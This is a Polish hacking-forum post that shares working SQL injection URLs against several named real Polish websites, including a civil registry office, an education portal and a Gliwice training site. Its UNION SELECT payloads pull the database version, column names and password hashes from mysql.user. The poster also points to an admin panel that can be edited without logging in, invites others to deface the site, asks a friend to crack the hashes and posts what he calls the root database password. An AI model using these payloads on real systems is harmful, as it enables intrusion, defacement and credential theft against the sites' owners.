Haking TG. BTM. B&B&J

Napewno moje małe ziomki wiedzą o co chodzi ale tematu założyc nie zaszkodzi tymbardziej ze jest to darmowe i całkiem fanje:

http://www.usc.com.pl/news.php?id=-1+union+select+1,user(),database(),4,version(),6,7,8,9,10,11,12,13/*

Mamy urząd strnu cywilnego. KOmbinowałem z tym na siłe ale nie wyszło mi jak macie jakieś pomysły itp. to pisać;
następnie:

http://www.oswiata.org.pl/news.php?n=1&id=-1+union+select+1,2,3,4,5,6,7,8/*

no i:

http://www.szkolenia.technika.gliwice.pl/txt.php?co=4&id=-1'%20and%201=2%20union%20select%2051,COLUMN_NAME,6,5,4,3,2,1+FROM+INFORMATION_SCHEMA.COLUMNS/*

tutaj wersja bazy danych coś powyżej 5.0 dlatego infomrtionchema działa

WSZYTKIE PROPOZYCJE UWAGI ITP. MILE WIDZIANE.
(tylko mi nie pisac postów w stylu fajne, spoko itd.)

I jak zawsze o najważniejszym bym zapomniał;

http://www.szkolenia.technika.gliwice.pl/admin/

Możemy edytowac strone z poziomu lamera. tzn nie logujac sie.
wiec jak by ktoś potrzebował own3da na szybko to nie wahać się


ODŚWIERZAM TEMAT!!!
tak sie bawiłem i sobie wyciłągłem hasło roota bazy;

http://www.szkolenia.technika.gliwice.pl/txt.php?co=4&id=-1'%20and%201=2%20union%20select%2051,concat(password,user),'b3st%20tu%20byl',5,4,3,2,1+from+mysql.user/*

Innych użytkowników też; może by poown3dowac co?
LISU LICZE NA ROZKODOWANIE HASHY (mysql prawdopodobnie)

haslo roota=jozek
reszta nalezy do Ciebie lisu